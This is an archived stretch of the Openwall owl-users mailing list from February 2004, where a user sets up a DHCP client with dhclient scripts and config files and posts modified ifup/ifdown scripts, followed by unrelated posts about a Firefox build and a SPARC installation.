if [ x$old_subnet_mask !=3D x ]; then
  old_subnet_arg=3D"netmask $old_subnet_mask"
fi
if [ x$alias_subnet_mask !=3D x ]; then
  alias_subnet_arg=3D"netmask $alias_subnet_mask"
fi

if [ x$reason =3D xMEDIUM ]; then
  # Linux doesn't do mediums (ok, ok, media).
  exit_with_hooks 0
fi

if [ x$reason =3D xPREINIT ]; then
  if [ x$alias_ip_address !=3D x ]; then
    # Bring down alias interface. Its routes will disappear too.
    ifconfig $interface:0- inet 0
  fi
  if [ $relmajor -lt 2 ] || ( [ $relmajor -eq 2 ] && [ $relminor -eq 0 ] =
)
   then
    ifconfig $interface inet 0.0.0.0 netmask 0.0.0.0 \
                broadcast 255.255.255.255 up
    # Add route to make broadcast work. Do not omit netmask.
    route add default dev $interface netmask 0.0.0.0
  else
    ifconfig $interface 0 up
  fi

  # We need to give the kernel some time to get the interface up.
  sleep 1

  exit_with_hooks 0
fi

if [ x$reason =3D xARPCHECK ] || [ x$reason =3D xARPSEND ]; then
  exit_with_hooks 0
fi

if [ x$reason =3D xBOUND ] || [ x$reason =3D xRENEW ] || \
   [ x$reason =3D xREBIND ] || [ x$reason =3D xREBOOT ]; then
  current_hostname=3D`hostname`
  if [ x$current_hostname =3D x ] || \
     [ x$current_hostname =3D x$old_host_name ]; then
    if [ x$current_hostname =3D x ] || \
       [ x$new_host_name !=3D x$old_host_name ]; then
      hostname $new_host_name
    fi
  fi

  if [ x$old_ip_address !=3D x ] && [ x$alias_ip_address !=3D x ] && \
                [ x$alias_ip_address !=3D x$old_ip_address ]; then
    # Possible new alias. Remove old alias.
    ifconfig $interface:0- inet 0
  fi
  if [ x$old_ip_address !=3D x ] && [ x$old_ip_address !=3D =
x$new_ip_address ]; then
    # IP address changed. Bringing down the interface will delete all =
routes,
    # and clear the ARP cache.
    ifconfig $interface inet 0 down

  fi
  if [ x$old_ip_address =3D x ] || [ x$old_ip_address !=3D =
x$new_ip_address ] || \
     [ x$reason =3D xBOUND ] || [ x$reason =3D xREBOOT ]; then

    ifconfig $interface inet $new_ip_address $new_subnet_arg \
                                                        =
$new_broadcast_arg
    # Add a network route to the computed network address.
    if [ $relmajor -lt 2 ] || \
                ( [ $relmajor -eq 2 ] && [ $relminor -eq 0 ] ); then
      route add -net $new_network_number $new_subnet_arg dev $interface
    fi
    for router in $new_routers; do
      route add default gw $router
    done
  fi
  if [ x$new_ip_address !=3D x$alias_ip_address ] && [ =
x$alias_ip_address !=3D x ];
   then
    ifconfig $interface:0- inet 0
    ifconfig $interface:0 inet $alias_ip_address $alias_subnet_arg
    route add -host $alias_ip_address $interface:0
  fi
  make_resolv_conf
  exit_with_hooks 0
fi

if [ x$reason =3D xEXPIRE ] || [ x$reason =3D xFAIL ] || [ x$reason =3D =
xRELEASE ] \
   || [ x$reason =3D xSTOP ]; then
  if [ x$alias_ip_address !=3D x ]; then
    # Turn off alias interface.
    ifconfig $interface:0- inet 0
  fi
  if [ x$old_ip_address !=3D x ]; then
    # Shut down interface, which will delete routes and clear arp cache.
    ifconfig $interface inet 0 down
  fi
  if [ x$alias_ip_address !=3D x ]; then
    ifconfig $interface:0 inet $alias_ip_address $alias_subnet_arg
    route add -host $alias_ip_address $interface:0
  fi
  exit_with_hooks 0
fi

if [ x$reason =3D xTIMEOUT ]; then
  if [ x$alias_ip_address !=3D x ]; then
    ifconfig $interface:0- inet 0
  fi
  ifconfig $interface inet $new_ip_address $new_subnet_arg \
                                        $new_broadcast_arg
  set $new_routers
  ############## what is -w in ping?
  if ping -q -c 1 $1; then
    if [ x$new_ip_address !=3D x$alias_ip_address ] && \
                        [ x$alias_ip_address !=3D x ]; then
      ifconfig $interface:0 inet $alias_ip_address $alias_subnet_arg
      route add -host $alias_ip_address dev $interface:0
    fi
    if [ $relmajor -lt 2 ] || \
                ( [ $relmajor -eq 2 ] && [ $relminor -eq 0 ] ); then
      route add -net $new_network_number
    fi
    for router in $new_routers; do
      route add default gw $router
    done
    make_resolv_conf
    exit_with_hooks 0
  fi
  ifconfig $interface inet 0 down
  exit_with_hooks 1
fi

exit_with_hooks 0


------=_NextPart_000_0020_01C3EB8B.5F671B00
Content-Type: application/octet-stream;
	name="dhclient.conf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="dhclient.conf"

timeout 30;
retry 60;
select-timeout 5;
reboot 0;

#script "/etc/dhclient-script";

request subnet-mask, broadcast-address, routers, domain-name-servers;
require;

lease {
        interface "eth0";
        option host-name "babydoos";
        option subnet-mask 255.255.255.0;
        option domain-name "edup.tudelft.nl";
        option domain-name-servers 127.0.0.1;
}

------=_NextPart_000_0020_01C3EB8B.5F671B00--
Return-Path: <owl-users-return-384-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i15EChv11625
	for <jwa@private>; Thu, 5 Feb 2004 06:12:43 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 4014170
	for <jwa@private>; Thu,  5 Feb 2004 06:12:35 -0800 (PST)
Received: (qmail 17961 invoked by uid 1011); 5 Feb 2004 14:11:43 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 17953 invoked from network); 5 Feb 2004 14:11:43 -0000
Message-ID: <000b01c3ebf2$a6590250$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <002301c3eb82$fdc8d8a0$0100a8c0@grotedoos>
Subject: Re: dhcp client: working!
Date: Thu, 5 Feb 2004 15:16:29 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owl-users-return-384-jwa=jammed.com@private
X-Spam-Status: No, hits=-16.9 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

I fixed it:

problem 1 solution: "/etc/dhclient-script" script is not needed, I removed
it.
"/etc/sysconfig/network" script only needs "NETWORKING=yes".

problem 2 seems to be solved by my earlier script.

problem 3 seems to be solved by my earlier script.

problem 4 solution is a symlink in /etc/sysconfig/networking-scripts: "ln -s
ifcfg-eth0 eth0". Now /sbin/dhclient-script works, as does ifconfig.

It's up and running! Now for my next task: installing PPPOE so I can get my
gateway in contact with the internet...

Cheers,

SkyLined

----- Original Message ----- 
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
Sent: Thursday, February 05, 2004 1:57
Subject: Re: dhcp client


> Ok, I've build my dhclient. But I'm just running into more and more
> problems, I hope you can help me out, but this might be getting more of a
> dhcp problem then an owl problem now...
>
> problem 1: dhclient seems to require a "/etc/dhclient-script", which was
> missing (shouldn't a default version have been installed with the rpm ?).
> My solution: I found the attached file on the internet and used that.
> problem 2: dhclient seems to require a "/etc/dhclient.conf" file, which
was
> also missing.
> My solution: I've constructed something from man-pages and googling for
> information, also attached.
>
> The system I'm building is going to have to ethernet cards installed:
> - eth0: DHCP
> - eth1: 192.168.0.16 netmask 255.255.255.0
> So I edited /etc/sysconfig/network-scripts/ifcfg-eth0 and -eth1.
> -- /etc/sysconfig/network-scripts/ifcfg-eth0:
> DEVICE=eth0
> BOOTPROTO=dhcp
> ONBOOT=yes
> TYPE=Ethernet
> -- EOF
> problem 3: when "ifup" gets run to get eth0 up, it tries to use
"/sbin/pump"
> instead of "/sbin/dhclient" for DHCP. (This must be an old script or
> something !?)
> My solution: I edited ifup, added a small part for "BOOTPROTO=dhclient"
> which would do
> -- /etc/sysconfig/network-scripts/ifup:
>   -- *SNIP* -- 
>     echo -n "Requesting DHCP information for $DEVICE..."
>     if ifconfig $DEVICE up && /sbin/dhclient -q $DEVICE ; then
>         echo " done."
>     else
>         echo " failed."
>         ifconfig $DEVICE down
>         exit 1
>     fi
>   -- *SNIP* --
> problem 4: dhclient won't work. It gives "/sbin/dhclient-script:
> configuration for eth0 not found." error messages and it just seems to
keep
> on DHCPDISCOVERing forever without accepting a DHCPOFFER.
>
> -- *SNIP* --
> root@babydoos:~# dhclient eth0
> Internet Software Consortium DHCP Client V3.0pl2
> Copyright 1995-2001 Internet Software Consortium.
> All rights reserved.
> For info, please visit http://www.isc.org/products/DHCP
>
> /sbin/dhclient-script: configuration for eth0 not found.
> Listening on LPF/eth0/52:54:05:f3:d6:98
> Sending on   LPF/eth0/52:54:05:f3:d6:98
> Sending on   Socket/fallback
> DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8
> DHCPOFFER from 172.20.72.3
> DHCPREQUEST on eth0 to 255.255.255.255 port 67
> DHCPACK from 172.20.72.3
> /sbin/dhclient-script: configuration for eth0 not found.
> DHCPDECLINE on eth0 to 255.255.255.255 port 67
> DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
> DHCPOFFER from 172.20.72.3
> DHCPREQUEST on eth0 to 255.255.255.255 port 67
> DHCPACK from 172.20.72.3
> -- *SNIP* --
>
> Anyway, I hope somebody has the time and knowledge to help me out with all
> this, thanks in advance!
>
> Cheers,
>
> SkyLined
>
Return-Path: <owl-users-return-385-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i15LU3v00819
	for <jwa@private>; Thu, 5 Feb 2004 13:30:03 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 8842A70
	for <jwa@private>; Thu,  5 Feb 2004 13:30:00 -0800 (PST)
Received: (qmail 9333 invoked by uid 1011); 5 Feb 2004 21:29:29 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 9325 invoked from network); 5 Feb 2004 21:29:27 -0000
Date: Fri, 6 Feb 2004 00:18:02 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: dhcp client
Message-ID: <20040205211802.GA29057@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <002301c3eb82$fdc8d8a0$0100a8c0@grotedoos>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <002301c3eb82$fdc8d8a0$0100a8c0@grotedoos>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-385-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.4 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Thu, Feb 05, 2004 at 01:57:12AM +0100, Berend-Jan Wever wrote:
> problem 1: dhclient seems to require a "/etc/dhclient-script", which was
> missing (shouldn't a default version have been installed with the rpm ?).
> My solution: I found the attached file on the internet and used that.
> problem 2: dhclient seems to require a "/etc/dhclient.conf" file, which was
> also missing.
> My solution: I've constructed something from man-pages and googling for
> information, also attached.

The dhcp-client subpackage is unfinished and, as you know, not built
by default or officially supported by us.

I think that you could get samples for those two files by looking
inside the source tarball the package is built from.

> BOOTPROTO=dhcp

Similarly, this is unsupported.

You would have better luck starting the DHCP client manually.

> problem 3: when "ifup" gets run to get eth0 up, it tries to use "/sbin/pump"
> instead of "/sbin/dhclient" for DHCP. (This must be an old script or
> something !?)

That's a remainder from Red Hat's networking scripts, -- which we should
drop entirely and re-implement.  There's an Owl TODO item on that.

-- 
/sd
Return-Path: <owl-users-return-386-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i16G8qv08013
	for <jwa@private>; Fri, 6 Feb 2004 08:08:52 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 9C482EE
	for <jwa@private>; Fri,  6 Feb 2004 08:08:34 -0800 (PST)
Received: (qmail 9964 invoked by uid 1011); 6 Feb 2004 16:07:49 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 9956 invoked from network); 6 Feb 2004 16:07:48 -0000
Message-ID: <000801c3eccc$0ef88f40$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
Subject: dhclient adjustment for "ifup" and "ifdown"
Date: Fri, 6 Feb 2004 17:12:45 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0005_01C3ECD4.70675D30"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owl-users-return-386-jwa=jammed.com@private
X-Spam-Status: No, hits=-6.4 required=5.0
	tests=BAYES_10,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C3ECD4.70675D30
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi,

If you're going to use dhclient in Owl, I recomment these adjustments to
ifup and ifdown. Maybe some other scripts need adjustment too, I haven't
checked.
Development team: I posted them here because you might want to use them in
upcomming releases of Owl.

Cheers,

SkyLined

------=_NextPart_000_0005_01C3ECD4.70675D30
Content-Type: application/octet-stream;
	name="ifup.dat"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="ifup.dat"

#!/bin/bash
PATH=3D/sbin:/usr/sbin:/bin:/usr/bin
# 06-feb-2004, Berend-Jan Wever: Changed dhcp to use dhclient instead of =
pump

cd /etc/sysconfig/network-scripts
. network-functions

need_hostname

CONFIG=3D$1

[ -z "$CONFIG" ] && {
    echo "usage: ifup <device name>" >&2
    exit 1
}

[ -f "$CONFIG" ] || CONFIG=3Difcfg-$CONFIG
[ -f "$CONFIG" ] || {
    echo "usage: ifup <device name>" >&2
    exit 1
}

if [ $UID !=3D 0 ]; then
    if [ -x /usr/sbin/usernetctl ]; then
        if /usr/sbin/usernetctl $CONFIG report ; then
            exec /usr/sbin/usernetctl $CONFIG up
        fi
    fi
    echo "Users cannot control this device." >&2
    exit 1
fi

source_config

if [ "foo$2" =3D "fooboot" -a "${ONBOOT}" =3D "no" -o "${ONBOOT}" =3D =
"NO" ] ; then
    exit
fi

IPSETUP=3Dno

DEVICETYPE=3D`echo $DEVICE | sed "s/[0-9]*$//"`
REALDEVICE=3D`echo $DEVICE | sed 's/:.*//g'`
if echo $DEVICE | grep -q ':' ; then
    ISALIAS=3Dyes
else
    ISALIAS=3Dno
fi

# Old BOOTP variable
if [ "$BOOTP" =3D "yes" ]; then
    BOOTPROTO=3Dbootp
fi

OTHERSCRIPT=3D"/etc/sysconfig/network-scripts/ifup-${DEVICETYPE}"

if [ -x $OTHERSCRIPT ]; then
    exec $OTHERSCRIPT $CONFIG $2
fi

# is this device available? (this catches PCMCIA devices for us)
/sbin/ifconfig ${REALDEVICE} 2>&1 | grep -s "not found" > /dev/null
if [ "$?" =3D "0" ]; then
    echo "Delaying ${DEVICE} initialization."
    exit 1
fi

if [ "$SLAVE" =3D yes -a "$ISALIAS" =3D no -a "$MASTER" !=3D "" -a \
     -x /sbin/ifenslave ]; then
    RFLAG=3D"" ; [ "$RECEIVE-ONLY" =3D yes ] && RFLAG=3D"-r"

    ifconfig ${DEVICE} down
    echo "Enslaving $DEVICE to $MASTER"
    ifenslave $RFLAG "$MASTER" "$DEVICE"

    exit 0
fi

if [ -n "$MACADDR" ]; then
   ifconfig ${DEVICE} hw ether ${MACADDR}
fi

if [ "$BOOTPROTO" =3D "dhcp" ]; then
    DHCLIENTARGS=3D
    if [ -n "$DHCP_PORT" ]; then
        DHCLIENTARGS=3D=3D"-p $DHCP_PORT"
    fi
    if [ -n "$DHCP_DESTINATION" ]; then
        DHCLIENTARGS=3D=3D"-s $DHCP_DESTINATION $DHCLIENTARGS"
    fi
    if [ -n "$DHCP_RELEASE" ]; then
        DHCLIENTARGS=3D=3D"-r $DHCP_RELEASE $DHCLIENTARGS"
    fi
    echo -n "Requesting DHCP information for $DEVICE..."
    if ifconfig $DEVICE up && /sbin/dhclient -q $DEVICE $DHCLIENTARGS ; =
then
        echo " done."
    else
        ifconfig $DEVICE down
        echo " failed."
        exit 1
    fi
elif [ "$BOOTPROTO" =3D "bootp" ]; then
    PUMPARGS=3D
    if [ -n "$DHCP_HOSTNAME" ]; then
        PUMPARGS=3D"-h $DHCP_HOSTNAME"
    fi
    echo -n "Determining IP information for $DEVICE..."
    if /sbin/pump $PUMPARGS -i $DEVICE ; then
        echo " done."
    else
        echo " failed."
        exit 1
    fi
else
    if [ -z "$NETMASK" ]; then
         eval `/bin/ipcalc --netmask ${IPADDR}`
    fi

    if [ -z "$BROADCAST" ]; then
        eval `/bin/ipcalc --broadcast ${IPADDR} ${NETMASK}`
    fi

    if [ -z "$NETWORK" ]; then
        eval `/bin/ipcalc --network ${IPADDR} ${NETMASK}`
    fi

    ifconfig ${DEVICE} ${IPADDR} netmask ${NETMASK} broadcast =
${BROADCAST} ${ARP:+arp}
# don't re-add subnet route on 2.2 kernels, but add a route
# to a non-local subnet.
# stupid hack, but it should work
    if [ "$ISALIAS" =3D no ] && [ -z "`route -n | sed "s/ .*//" | grep =
${NETWORK}`" ]; then
        route add -net ${NETWORK} netmask ${NETMASK} dev ${DEVICE}
    else
        route add -host ${IPADDR} ${DEVICE}
    fi

# this is broken! it's only here for compatibility with old RH systems
    if [ "${GATEWAY}" !=3D "" -a "${GATEWAY}" !=3D "none" ]; then
        route add default gw ${GATEWAY} metric 1 ${DEVICE}
    fi

    . /etc/sysconfig/network

    if [ "${GATEWAYDEV}" =3D "" -o "${GATEWAYDEV}" =3D "${DEVICE}" ]; =
then
        # set up default gateway
        if [ "${GATEWAY}" !=3D "" ]; then
            route add default gw ${GATEWAY} ${DEVICE}
            DEFGW=3D${GATEWAY}
        elif [ "${GATEWAYDEV}" =3D "${DEVICE}" ]; then
            route add default ${DEVICE}
        fi
    fi
fi

. /etc/sysconfig/network

if [ "$IPX" =3D yes ]; then
        /etc/sysconfig/network-scripts/ifup-ipx $DEVICE
fi

exec /etc/sysconfig/network-scripts/ifup-post $CONFIG $2


------=_NextPart_000_0005_01C3ECD4.70675D30
Content-Type: application/octet-stream;
	name="ifdown.dat"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="ifdown.dat"

#!/bin/sh
PATH=/sbin:/usr/sbin:/bin:/usr/bin

cd /etc/sysconfig/network-scripts
. network-functions

CONFIG=$1

[ -z "$CONFIG" ] && {
    echo "usage: ifdown <device name>" >&2
    exit 1
}

[ -f "$CONFIG" ] || CONFIG=ifcfg-$CONFIG
[ -f "$CONFIG" ] || {
    echo "usage: ifdown <device name>" >&2
    exit 1
}

if [ $UID != 0 ]; then
    if [ -x /usr/sbin/usernetctl ]; then
        if /usr/sbin/usernetctl $CONFIG report ; then
            exec /usr/sbin/usernetctl $CONFIG down
        fi
    fi
    echo "Users cannot control this device." >&2
    exit 1
fi

source_config

DEVICETYPE=`echo $DEVICE | sed "s/[0-9]*$//"`
OTHERSCRIPT="/etc/sysconfig/network-scripts/ifdown-${DEVICETYPE}"

if [ -x $OTHERSCRIPT ]; then
        exec $OTHERSCRIPT $CONFIG $2
fi

# Check to make sure the device is actually up
check_device_down && exit 0

if [ "$BOOTPROTO" = bootp ]; then
    pump -r -i ${DEVICE}
fi
if [ "$BOOTPROTO" = dhcp ]; then
    echo -n "Releasing DHCP lease..."
    dhclient -q -r ${DEVICE}; then
    echo " done."
fi

ifconfig ${DEVICE} down
# wait up to 5 seconds for device to actually come down...
waited=0
while ! check_device_down && [ "$waited" -lt 50 ] ; do
    usleep 100000
    waited=$(($waited+1))
done

if [ "$retcode" = 0 ] ; then
    /etc/sysconfig/network-scripts/ifdown-post $CONFIG
    # do NOT use $? because ifdown should return whether or not
    # the interface went down.
fi

exit $retcode


------=_NextPart_000_0005_01C3ECD4.70675D30--
Return-Path: <owl-users-return-387-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i177DZv26110
	for <jwa@private>; Fri, 6 Feb 2004 23:13:35 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 390C170
	for <jwa@private>; Fri,  6 Feb 2004 23:13:32 -0800 (PST)
Received: (qmail 29536 invoked by uid 1011); 7 Feb 2004 07:12:58 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 29527 invoked from network); 7 Feb 2004 07:12:56 -0000
Date: Sat, 7 Feb 2004 09:56:24 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: dhclient adjustment for "ifup" and "ifdown"
Message-ID: <20040207065624.GA10432@private>
References: <000801c3eccc$0ef88f40$0100a8c0@grotedoos>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <000801c3eccc$0ef88f40$0100a8c0@grotedoos>
User-Agent: Mutt/1.4.1i
Sender: owl-users-return-387-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.4 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Fri, Feb 06, 2004 at 05:12:45PM +0100, Berend-Jan Wever wrote:
> If you're going to use dhclient in Owl, I recomment these adjustments to
> ifup and ifdown. Maybe some other scripts need adjustment too, I haven't
> checked.
> Development team: I posted them here because you might want to use them in
> upcomming releases of Owl.

OK, I've added them in the form of a patch in owl-startup package, but
just like I've already mentioned those scripts are to be re-written.

Until then and until we get a DHCP client that is reasonably safe to
use, there won't be "official" DHCP client support in Owl.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-388-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i19KUrb05571
	for <jwa@private>; Mon, 9 Feb 2004 12:30:53 -0800
Received: from mail.openwall.net (mail.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 3C95D70
	for <jwa@private>; Mon,  9 Feb 2004 12:30:47 -0800 (PST)
Received: (qmail 608 invoked by uid 550); 9 Feb 2004 20:29:54 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 599 invoked from network); 9 Feb 2004 20:29:53 -0000
X-Qmail-Scanner-Mail-From: simonb@private via c0ke
X-Qmail-Scanner: 1.20st+kaizo-spb (Clear:RC:1(127.0.0.1):. Processed in 0.032481 secs)
Date: Mon, 9 Feb 2004 20:29:44 +0000 (GMT)
From: Simon B <simonb@private>
To: Owl Users Mailing List <owl-users@private>
Subject: Mozilla Fire{bird,fox}
Message-ID: <kaizo-sendmail-010402092027200.11354@private>
X-include: <stupid/disclaimer.h>
X-Copyright: (c)2003 Simon B.  Forwarding *not* allowed without prior permision
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owl-users-return-388-jwa=jammed.com@private
X-Spam-Status: No, hits=-12.9 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,PGP_SIGNATURE
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

-----BEGIN PGP SIGNED MESSAGE-----


Hi,

In case anyone else wants to run Mozilla Firefox (as it's now called),
i've got a binary dist available at
http://simonbs.com/misc/Owl/mozilla-i686-pc-linux-gnu.tar.gz

It's just a standarb build, that will run on glibc 2.1.3.  You
need X installed too (duh...) plus GTK, GDK, etc.

Any probs let me know.

Regards,

Simon

- -- 
- -----------------------------------------------------------------------------
Simon B.              http://kaizo.org/simonb                  spb!kaizo.org
        Linux is only free if your time has no value...(jwz.org)
- -----------------------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (OpenBSD)

iQCVAwUBQCftvynItNK85HiBAQHjwwP+PX/fwmbh1nyWI7oCui2oxuUK+6SizJfF
RUa11YzYMci9kZu8xnbeBzL+SBVXMYriUnzfPGt5YWPow3sD6D1wS4O+B/lDfK0n
jlTPtAz31XAat17NH8kYHgKx+wzY19L/oDUQ/suC8AB8lFVl20lvVQCGecRCuMhw
GpS+9j0Sxn4=
=6HUy
-----END PGP SIGNATURE-----
Return-Path: <owl-users-return-389-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i1EMZJb03239
	for <jwa@private>; Sat, 14 Feb 2004 14:35:19 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id EA06C70
	for <jwa@private>; Sat, 14 Feb 2004 14:35:12 -0800 (PST)
Received: (qmail 7717 invoked by uid 550); 14 Feb 2004 22:34:31 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Delivered-To: moderator for owl-users@private
Received: (qmail 23235 invoked from network); 14 Feb 2004 13:58:40 -0000
Date: Sat, 14 Feb 2004 18:56:58 +0500
From: Semyon Novikov <tappak@private>
X-Priority: 3 (Normal)
Message-ID: <112587833.20040214185658@private>
To: owl-users@private
Subject: Sparc installation
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-389-jwa=jammed.com@private
X-Spam-Status: No, hits=-7.2 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,PRIORITY_NO_NAME,
	      SIGNATURE_SHORT_SPARSE
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

What linux distro you can advise to compile Owl on sparc.
And when i can find them?

Little lama quastion :)
How i can fetch mail in Owl? I can't find fetchmail or
grepmail in distro.

-- 
Computer without MS Windows,
as if fish without umbrella...

br,
.tappak
Return-Path: <owl-users-return-390-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i1F3Pqb15850
	for <jwa@private>; Sat, 14 Feb 2004 19:25:52 -0800
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 45B0470
	for <jwa@private>; Sat, 14 Feb 2004 19:25:49 -0800 (PST)
Received: (qmail 16323 invoked by uid 550); 15 Feb 2004 03:25:27 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 16315 invoked from network); 15 Feb 2004 03:25:27 -0000
Date: Sun, 15 Feb 2004 06:24:54 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Sparc installation
